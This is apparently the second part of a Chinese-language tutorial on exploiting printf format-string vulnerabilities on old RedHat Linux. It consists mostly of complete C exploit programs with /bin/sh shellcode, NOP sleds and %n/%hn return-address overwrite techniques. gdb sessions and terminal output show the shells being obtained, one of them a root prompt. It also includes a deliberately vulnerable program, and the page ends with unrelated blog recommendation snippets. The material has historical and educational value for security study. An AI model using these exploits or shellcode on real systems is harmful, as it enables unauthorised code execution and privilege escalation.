*printf()格式化串安全漏洞分析(下)

*printf()格式化串安全漏洞分析(上) *printf()格式化串安全漏洞分析(上)     测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)前言:=====最近一段时间,一种新的安全漏洞正开始引起人们注意,就是诸多的*printf()函数的格式化串问题。其实这个问题应该说并不鲜见,只是一直没有人注意它,直到最近才开始进行一些深入的讨论。格式化串的问题实际上是由于程序员编程时的疏漏所导致的,下面我们就来看 阅读详情

*printf()格式化串安全漏洞分析(下)

    测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)


(继续)

那么让我们来写一个简单的测试程序来看一下:

<- begin ->  exp.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_OFFSET                    0                   
#define DEFAULT_ALIGNMENT                 2     // 我们使用两个字节来进行"对齐"
#define DEFAULT_RETLOC           0xbffff6dc     // 存放main()返回地址的地址              
#define DEFAULT_BUFFER_SIZE             512                   
#define DEFAULT_EGG_SIZE               2048                   
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
  "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
  "/x80/xe8/xdc/xff/xff/xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff, *ptr, *egg;                                     
  char *env[2];
  long shell_addr,retloc=DEFAULT_RETLOC;                                                  
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;       
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                            
  int fmt_num=4, i;
                                                              
  if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址                        

                                                             
  if (argc > 2) offset  = atoi(argv[2]);                      
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> /n",argv[0]);                

                                           
  if (!(buff = malloc(bsize))) {                              
    printf("Can't allocate memory./n");                       
    exit(0);                                                  
  }                                                           

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory./n");                       
    exit(0);                                                  
  }                                                           
 
  printf("Using Ret location address: 0x%x/n", retloc);                                          

                        
  shell_addr = get_esp() + offset;    //计算我们shellcode所处的地址                              
  printf("Using Shellcode address: 0x%x/n", shell_addr);
 
  ptr = buff;                                                 
  memset(buff,'A',4);

  i = align;
  buff[i]   =  retloc & 0x000000ff;   // 将retloc放到buff里                   
  buff[i+1] = (retloc & 0x0000ff00) >> 8;                
  buff[i+2] = (retloc & 0x00ff0000) >> 16;               
  buff[i+3] = (retloc & 0xff000000) >> 24;                 
 
  ptr = buff + i + 4;
  for(i = 0 ; i < 4 ; i++ )  //存放%.10u%.10u%.10u%.10u
    {
        memcpy(ptr, "%.10u", 5);
        ptr += 5;
    }
/* 存放"%.SHELL_ADDRu%n",为了使显示总长度等于shell_addr,
  * 我们减去4个%.10u的长度:4*10,再减去"argv[1] = xxRETloc"的长度:12+4
  * 将这个长度作为第5个%u的宽度值   
  */ 
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  buff[bsize - 1] = '/0';                                     
  egg[eggsize - 1] = '/0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul","vul",buff,NULL,env);         
}  /* end of main */      

<- end -> 

注意:在我们的程序里,我们实际使用的模式是:

AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n

选用%.10u的原因是:如果用"%.nu"来显示一个数值的时候,若数值长度大于n,则仍然会
显示实际的长度,而不会截断为n。只有在数值长度小于n时,才会在数值前面补'0'使显
示长度达到n.而一个四字节的无符号整数,最大为0xffffffff = 4294967295,其长度也
就是10,因此,使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是
RETloc,也就是main()的返回地址了。这也很简单:

[root@rh62 /root]# ./x 0x41414141
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0x41414141
Using Shellcode address: 0xbffffb08

Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
GNU gdb 19991004
<....>
#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    ap=0xbffff2e8) at vfprintf.c:1212
1212    vfprintf.c: No such file or directory.
(gdb) bt 
#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    ap=0xbffff2e8) at vfprintf.c:1212
#1  0x40070716 in _IO_vsnprintf (
    string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133",

maxlen=1023,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    args=0xbffff2d0) at vsnprintf.c:129
#2  0x80484de in log (level=1,
    fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
    at vul.c:13
#3  0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
(gdb) i f 3  -----> 查看main()的栈帧
Stack frame at 0xbffff6d8:
eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
caller of frame at 0xbffff2c0
source language c.
Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
Locals at 0xbffff6d8, Previous frame's sp is 0x0
Saved registers:
  ebp at 0xbffff6d8, eip at 0xbffff6dc  ----> OK,存放eip的地址是0xbffff6dc
(gdb)

好的,既然现在我们已经知道了RETloc的地址,就让我们运行一下我们的攻击程序看看吧:
[root@rh62 /root]# ./x 0xbffff6dc
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0xbffff6dc
Using Shellcode address: 0xbffffb08

argv[1] = AA荟?.10u%.10u%.10u%.10u%.3221224144u%n
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
<....>
#0  0x42 in ?? ()
(gdb) bt
#0  0x42 in ?? ()
(gdb) x/x 0xbffff6dc
0xbffff6dc:     0x00000042
(gdb)

很可惜,并没有看到令人激动的#号提示符。看起来0xbffffb08的长度不能被正确的打印出来,
根据测试,至少大于0x90000000的长度都不能正确显示,具体原因还有待研究。感兴趣的读者
可以自行分析一下。为了得到一个可以工作的版本,我们改动一下vul.c和exp.c:

<- begin ->  vul1.c

#include <stdarg.h>
#include <unistd.h>
#include <syslog.h>

#define BUFSIZE 1024

char egg[BUFSIZE];

int log(int level, char *fmt,...)
{
   char buf[BUFSIZE];
   va_list ap;
 
   va_start(ap, fmt);
   vsnprintf(buf, sizeof(buf)-1, fmt, ap);
   buf[BUFSIZE-1] = '/0';
   syslog(level, "[hmm]: %s", buf);
   va_end(ap);
}


int main(int argc, char **argv)
{

  char buf[BUFSIZE];
  int i,num;
 
  if(getenv("EGG")) {
     /* 我们将环境EGG的内容复制到一个全局buffer里,
      * 而这个buffer的起始地址是0x80xxxxx,它可以被正确显示
      */
     strncpy(egg, getenv("EGG"), BUFSIZE-1);
     egg[BUFSIZE-1] = '/0';
  }
  num = argc ;
  if(argc > 1) {
    for ( i = 1 ; i < num ; i ++ ) {
            snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
            buf[BUFSIZE-1] = '/0';
            log(LOG_ALERT, buf);  // 这里有问题
            printf("argv[%d] = %s /n", i, argv[i]);
    }
  }
}

<- end -> 

<- begin ->  exp1.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_ALIGNMENT                 2                   
#define DEFAULT_RETLOC           0xbffffadc                  
#define DEFAULT_SHELLADDR        0x8049800   //我们的shellcode地址在Heap/BSS段                
#define DEFAULT_BUFFER_SIZE             512                   
#define DEFAULT_EGG_SIZE               1024                  
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
  "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
  "/x80/xe8/xdc/xff/xff/xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff, *ptr, *egg;                                     
  char *env[2];
  long retloc = DEFAULT_RETLOC;
  long shell_addr = DEFAULT_SHELLADDR;

  int align = DEFAULT_ALIGNMENT;       
  int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE;                            
  int i;
                                                              

  if (argc > 1) sscanf(argv[1],"%x",&retloc);
  if (argc > 2) sscanf(argv[2],"%x",&shell_addr);
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> /n",argv[0]);            

                                               
  if (!(buff = malloc(bsize))) {                              
    printf("Can't allocate memory./n");                       
    exit(0);                                                  
  }                                                           

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory./n");                       
    exit(0);                                                  
  }                                                           
                                                              
  printf("Using RET location address: %#x/n", retloc);
  printf("Using Shellcode address: %#x/n", shell_addr);                      
                                                              
  ptr = buff;                                                 
  memset(buff,'A',4);

  i = align;
  buff[i]   =  retloc & 0x000000ff;                      
  buff[i+1] = (retloc & 0x0000ff00) >> 8;                
  buff[i+2] = (retloc & 0x00ff0000) >> 16;               
  buff[i+3] = (retloc & 0xff000000) >> 24;                 
 
  ptr = buff + i + 4;
  for(i = 0 ; i < 4 ; i++ )
    {
        memcpy(ptr, "%.10u", 5);
        ptr += 5;
    }
 
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  buff[bsize - 1] = '/0';                                     
  egg[eggsize - 1] = '/0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul1","vul1",buff,NULL,env);         
}  /* end of main */      

<- end -> 

这里唯一改变的就是shellcode的地址指向了Heap/BSS区,它通常在内存区域的低端:
0x8000000以后的地址,这个地址将可以被正确显示,因此就可以正确的覆盖main()的
返回地址,并跳到那里去执行我们的shellcode.这个地址的获取,也可以通过gdb跟踪
得到,这里不再赘述。

[root@rh62 /root]# ./exp1 0xbffffadc 0x8049800
Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffadc
Using Shellcode address: 0x8049800

argv[1] = AA茭?.10u%.10u%.10u%.10u%.134518728u%n
bash#
很好,成功了!注意在得到#号提示符前,通常需要等待几秒钟,这是因为显示0x8049800
个字符也是颇需要一段时间的.(当然,结果并没有显示在标准输出上) :-)

<2> 攻击方法二:多次覆盖返回地址(1)
====================================

上面的程序只能在RedHat 6.2这样的系统上成功,在RedHat 6.1下它是不能成功的。原因
前面已经提到了。那么是不是在RedHat 6.1下就没有办法了呢?并不是这样的,只要我们动
一下脑筋,就会发现由于这个问题程序自身的特点颐窃赗edHat 6.1下也可以成功的进行
攻击。我们看到问题程序vul.c会显示并记录所有用户输入的参数,而制约我们的攻击程序的
因素就是显示的长度,那么如果我们不显示那么长的内容,vsnprintf()是可以正常工作的:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
我们首先想到的时候如何减小shell_addr的值。如果我们将一个shell_addr分成四部分:
shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4

例如,假设在RETloc这个地址中保存有返回地址0x44332211,我们想将这个0x44332211换成
存放shellcode的地址:0xbffffcec,那么我们所对应的SH1,SH2,SH3,SH4就分别是:

SH1 = 0xbf
SH2 = 0xff
SH3 = 0xfc
SH4 = 0xec

我们所要做的就是依次将这四个地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去,也就是:

AA|RETloc  |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n
AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n
AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n
AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n

注意:我们考虑的是Intel x86的系统,因此,排列顺序是反序的
下图可以让你更清楚的看到每一次覆盖后的变化:

RETloc  RETloc+1 RETloc+2 RETloc+3
|0x11   | 0x22   | 0x33   |0x44|                   原来存放的地址: 0x44332211
|0xec   | 0x00   | 0x00   |0x00|                   第一次覆盖SH4:  0x000000ec
|0xec   | 0xfc   | 0x00   |0x00| 0x00|             第二次覆盖SH3:  0x0000fcec
|0xec   | 0xfc   | 0xff   |0x00| 0x00| 0x00|       第三次覆盖SH2:  0x00fffcec
|0xec   | 0xfc   | 0xff   |0xbf| 0x00| 0x00| 0x00| 第四次覆盖SH1:  0xbffffcec

需要特别注意的是:这样四次覆盖之后,将导致原来存放函数参数的地址内容被清零,
例如RETloc+4,RETloc+5,RETloc+6等处,如果该函数在覆盖以后仍然需要访问这几个参
数,可能会导致函数不能正常退出,特别是一些极端依赖函数参数的情况下。

另外一个问题是程序是否允许你连续四次进行覆盖,如果只能覆盖一次,也不能达到我们
的目的,不过我们看到我们的问题程序是会循环从main()的参数中读取并调用log()子函数
,那么我们只要提供四个命令行参数就可以进行四次覆盖了。

<- begin ->  exp2.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_OFFSET                    500                   
#define DEFAULT_ALIGNMENT                 2                   
#define DEFAULT_RETLOC           0xbffffa6c                   
#define DEFAULT_BUFFER_SIZE             128                   
#define DEFAULT_EGG_SIZE               1024                   
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
  "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
  "/x80/xe8/xdc/xff/xff/xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff[4], *ptr, *egg;                                     
  char *env[2];
  long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;                                                 

 
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;       
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                            
  int i,j;
                                                              
  if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
  if (argc > 2) offset  = atoi(argv[2]);                      
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> /n",argv[0]);                

                                           
  for(i = 0 ; i < 4 ; i++ ) {
    if (!(buff[i] = malloc(bsize))) {                              
       printf("Can't allocate memory./n");                       
       exit(0);                                                  
    }
  }                                                           

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory./n");                       
    exit(0);                                                  
  }                                                           
                                                              
  printf("Using RET location address: 0x%x/n", retloc);
  shell_addr = get_esp() + offset;       /* 计算shellcocde所在的地址 */                          

                      
  printf("Using Shellcode address: 0x%x/n", shell_addr);
  for(j = 0; j < 4 ; j++) {                                                            
     ptr = buff[j];                                                 
     memset(ptr,'A',4);

     ptr += align;
     (*ptr++) =  retloc & 0x000000ff;        /* 填充retloc */              
     (*ptr++) = (retloc & 0x0000ff00) >> 8;                
     (*ptr++) = (retloc & 0x00ff0000) >> 16;               
     (*ptr++) = (retloc & 0xff000000) >> 24;                 
 
     retloc++; /* retloc地址后移一个字节,以便进行下一次覆盖 */
     for(i = 0 ; i < 4 ; i++ )
     {
        memcpy(ptr, "%.10u", 5); /* 输入格式串,调整%n所对应的位置 */
        ptr += 5;
     }
     tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 计算SHj */
     if(tmpaddr > 56 )  /* 计算最后一个%nu中的n值 */
       sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);
     else
       sprintf(ptr, "%%.%uu%%n", 1);

 
  }
  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  egg[eggsize - 1] = '/0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env);         
}  /* end of main */      

<- end -> 


[root@rh62 /root]# ./exp2
Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffa6c
Using Shellcode address: 0xbffffcec

argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n
argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n
argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n
argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n
bash#

注意我们上面的exp2.c中在计算最后一个%.nu时存在一些问题,如果
0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所显示的长度可能不等于(tmpaddr-56)
,同样如果tmpaddr <= 56 ,那么我们的shellcode的地址就会有偏差,幸运的是,由于我们
的shellcode是存放在环境变量中,它通常在堆栈的高端,地址通常是0xbffff???,只有地址
的最低一个字节才可能出现上面所讲的两种情况,而如果我们的shellcode前面填充了一些
NOP指令的话,那么我们的shellcode地址就有一个范围,只要落在这个范围内,都可以执行
我们的shellcode,因此只要我们在这一段地址内选择一个有效的地址就可以了。

这个程序在RedHat 6.1和RedHat 6.2下都验证通过。

<3> 攻击方法三:多次覆盖返回地址(2)
======================================

有读者可能会说,这个程序的成功依赖于我们可以连续进行四次覆盖。如果只给我们一次
机会,是不是就不行了呢?其实,还有一种方法可以完成我们的任务。基本思路也是分四次
来覆盖,只不过通过一个*printf()就可以完成了,考虑下列这种情况:

  |AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n
     ^        ^        ^        ^                 |      |      |      |
     |        |        |        |_________________|______|______|______|                         

           
     |        |        |__________________________|______|______|                                

                   
     |        |___________________________________|______| 
     |____________________________________________|

我们使用四个%n,它们会依次将4个显示长度保存到对应的地址去。我们如果调整%c的个数,
使第一个%n对应RET1,第二个%n对应RET2,第三个%n对应RET3,第四个%n对应RET4,那么我
们就成功了一半了。当然我们要让:
RET1 = RETloc
RET2 = RETloc + 1
RET3 = RETloc + 2
RET4 = RETloc + 3

n1 = SH4 - 1*4 - 12 - 4 - 8*3
(1*4是4个%c显示的长度,12是"AA"再加上前面的"argv[.."的长度,4是RET1长度,8*3是后
面三组"AAAARET"的长度)
n2 = SH3 - SH4
n3 = SH2 - SH3
n4 = SH1 - SH2 

这样,在碰到第一个%n时,显示总长度就是SH4,碰到第二个%n时,显示总长度就是 SH3,依
此类推。
注意:由于SH1通常等于0xbf(如果是在堆栈中的话),而SH2通常等于0xff,SH1<SH2,
因此我们给SH1加上一个大数0x0100,让它变成0x01BF,这样在进行第四次覆盖的时候:
会将RETloc+4变成0x01,但这通常并不会造成大的影响,RETloc+3仍然被正确的改成了0xbf

RETloc  RETloc+1 RETloc+2 RETloc+3                               
|0xec   | 0xfc   | 0xff   |0xbf| 0x01| 0x00| 0x00| 第四次覆盖SH1:  0xbffffcec                    

          

因此,我们让n4 = 0x0100 + SH1 - SH2

另外我们的程序中没有使用%.nu的格式而是采用了%nc, 这是因为%nc可以更加准确的决定
我们的显示长度,只要n>0,显示长度总是精确的等于n,这就为我们的计算带来了很大的方
便。(注意不能使用%.nc的格式,这不起作用) 不过%nc会使用空格来填充空白部分,如果
应用程序将空格作为分隔符来解释时,可能会出问题。

<- begin ->  exp3.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_OFFSET                    550                   
#define DEFAULT_ALIGNMENT                 2                   
#define DEFAULT_RETLOC           0xbffffabc                   
#define DEFAULT_BUFFER_SIZE             128                   
#define DEFAULT_EGG_SIZE               1024                   
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
  "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
  "/x80/xe8/xdc/xff/xff/xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff, *ptr, *egg;                                     
  char *env[2];
  long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;                                                 

 
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;       
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                            
  int i,SH1,SH2,SH3,SH4,oldSH4;
                                                              
  if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
  if (argc > 2) offset  = atoi(argv[2]);                      
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> /n",argv[0]);                

                                           
 
  if (!(buff = malloc(bsize))) {                              
       printf("Can't allocate memory./n");                       
       exit(0);                                                  
    }
                                                

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory./n");                       
    exit(0);                                                  
  }                                                           
                                                              
  printf("Using RET location address: 0x%x/n", retloc);
  shell_addr = get_esp() + offset;       /* 计算shellcocde所在的地址 */                          

                      
  printf("Using Shellcode address: 0x%x/n", shell_addr);
 
  SH1 = (shell_addr >> 24) & 0xff;
  SH2 = (shell_addr >> 16) & 0xff;
  SH3 = (shell_addr >>  8) & 0xff;
  SH4 = (shell_addr >>  0) & 0xff;

  /* 如果SH4小于44,我们就增大它的值,让它等于44 + 1,以免出现负值 */
  if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) {
      oldSH4 = SH4;
      SH4 = 4 + 12 + 4 + 8*3 + 1;
      printf("Using New Shellcode address: 0x%x/n", shell_addr+SH4-oldSH4);
  }
 
     ptr = buff;                                                 
 
     for (i = 0; i <4 ; i++, retloc++ ){
       memset(ptr,'A',4);
       ptr += 4 ;
       (*ptr++) =  retloc & 0xff;        /* 填充retloc+n (n= 0,1,2,3) */         
       (*ptr++) = (retloc >> 8  ) & 0xff ;                
       (*ptr++) = (retloc >> 16 ) & 0xff ;                
       (*ptr++) = (retloc >> 24 ) & 0xff ;                
      }
         
     for(i = 0 ; i < 4 ; i++ )
     {
        memcpy(ptr, "%c", 2); /* 输入格式串,调整%n所对应的位置 */
        ptr += 2;
     }
     /* "输入"我们的shellcode地址 */
     sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),
              (SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );
 
  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  egg[eggsize - 1] = '/0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul","vul",buff + align, NULL,env);         
}  /* end of main */    

<- end -> 

验证一下:
[warning3@rh62 format]$ ./exp3
Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffabc
Using Shellcode address: 0xbffffcfa
argv[1] = AA贱緼AAA晋緼AAA菌緼AAA窥?c%c%c%c%206c%n%2c%n%3c%n%192c%n
bash$ id
uid=500(warning3) gid=500(warning3) groups=500(warning3)
这个程序在redhat 6.1和redhat 6.2下均验证通过

<4> 攻击方法三:多次覆盖返回地址(利用%hn)
=========================================

在drow的statd-toy.c中又提供了一种方法:利用%hn,它会覆盖一个字的高16位:

main()
{
int a=0x41414141;
printf("a=%#x%hn/n",a,&a);
printf("a=%#x/n",a);
}

[warning3@redhat-6 wuftp]$ ./aa
a=0x41414141
a=0x4141000c

<....>用gdb看一下:
(gdb) b 5
Breakpoint 1 at 0x80483ea: file aa.c, line 5.
(gdb) r
Starting program: /home/warning3/wuftp/./aa
a=0x41414141

Breakpoint 1, main () at aa.c:5
5        printf("a=%#x/n",a);
(gdb) p &a
$1 = (int *) 0xbffffcb4
(gdb) x/4b 0xbffffcb4
0xbffffcb4:     0x0c    0x00    0x41    0x41

因此我们只要覆盖两次就可以了,具体的方法和前面相似,有兴趣的读者可以自行测试一下。
这种方法的好处是我们不会覆盖多余的地址,它只覆盖指定地址的两个字节内容!


综合上面的几种方法,我们会看到第三和第四种方法是最通用的,可以适用于各种情况。第
一种和第二种都有其自己的局限性,更多的依赖于应用程序自身的特点。

不过这几种方法都由一个局限,就是必须非常精确的给定存放返回地址的地址:retloc,错一
个字节也不行。这使攻击的成功率大打折扣。回忆一下原来的普通exploit为什么容易成功,
是因为它通常使用一串返回地址来填充堆栈,只要能覆盖返回地址retloc就可以了,并不需要
知道retloc确切的值。而这里,我们必须精确指定retloc,将shellcode地址直接填充到返回地
址中去。而由于retloc的大小和用户环境变量等因素有很大关系,往往不是很确定,所以不是
那么容易就一次成功的。那么如果我们能够指定一串retloc,retloc+4,retloc+8...,分别将
shellcode地址存到这些地址去,那么我们不就可以增大成功的把握了吗?利用第4种方法,使
很容易做到这一点的。具体的操作有兴趣的读者可以自行测试,也可以与我联系。


另外,%n并不仅仅局限于用来覆盖返回地址,也可以用来覆盖某些保存的数据,比如保存
的uid,gid等等。

结?/h4>========
这种格式化串导致的溢出问题,虽然看起来比较复杂,实际上只要程序员在书写应用程序
时稍加注意,是完全可以避免的。看来粗心真的是安全的大敌。:-) 由于时间仓促,文中
错疏之处难免,敬请批评指正。

参考文献
==========
[1] <<Format Bugs: What are they, Where did they come from,.........
      How to exploit them>> , lamagra (lamagra@digibel.org)
[2] <<Remote shell via Qpopper2.53>> , prizm (prizm@resentment.org)
[3] <<More info on format bugs>>,  Pascal Bouchareine [ kalou <pb@grolier.fr> ]

How printf works——浅谈格式化串漏洞 本博客已经弃用,我的新博客地址:http://jujuba.me/ How printf works——浅谈格式化串漏洞 0x00 简介 格式化字符串漏洞由来已久,其主要原因是程序员在使用printf时未将格式化串的个数 和变量的个数相匹配,给了黑客们可乘之机。 我们可以先来看看printf函数的声明 int printf (const char *__format, ...... 阅读详情

相关推荐

C语言printf动态格式化:%*s、%.*s与%-.*s的深度解析与应用

格式化输出是编程中处理数据呈现的基础技术,其核心原理是通过格式说明符控制数据的显示方式。在C语言中,printf函数是实现格式化输出的关键工具,它通过解析格式字符串中的占位符,将内存中的数据转换为可读文本。这项技术的工程价值在于提升代码的灵活性与安全性,特别是在处理动态数据或不确定长度的内容时。在实际应用场景中,如日志系统、报表生成或命令行工具开发,经常需要根据运行时数据动态调整输出宽度、精度和对齐方式。本文聚焦于printf中带星号(*)的格式化说明符,深入探讨%*s、%.*s和%-.*s的用法与区别,帮

weixin_30568591的博客 336

printf格式化字符串漏洞原理解析

读任意地址 printf("%x")只给格式化字符串,而不给参数,会导致内存泄漏从而读到内存中其他地址的数据。 %N$x参数可以以16进制方式打印第N个参数的内容,通过修改N,我们可以遍历栈上的所有内容。 通过%N$s参数,我们可以将第N个参数对应的内容作为字符串的地址从而获得内存中任意位置的内容。方法如下 如果我们使用的打印语句为:printf("AAAA%x")那么栈的内容如下: 栈底 … x % A A A A … 栈顶 使用printf("A

liucc09的博客 6504

C语言printf格式化字符串漏洞解析与防御

格式化字符串是C语言中处理文本输出的核心机制,通过%转换符实现数据类型动态匹配。其安全风险源于参数读取时直接从栈获取数据的底层原理,当用户可控输入被直接作为格式字符串时,攻击者可利用%n等特殊转换符实现内存读写。这种漏洞常出现在日志记录、错误处理等场景,属于高危内存安全漏洞。以printf系列函数为例,防御需遵循‘永远验证用户输入’原则,结合编译器防护选项(-Wformat-security)和运行时检查(ASLR)。现代静态分析工具如Flawfinder能有效检测此类漏洞,而安全编码规范要求强制使用pri

weixin_26642481的博客 285

【格式化字符串】格式化字符串漏洞的原理与利用

【格式化字符串】格式化字符串漏洞的原理与利用

qcwwww的博客 1369

阻抗匹配与史密斯(Smith)圆图

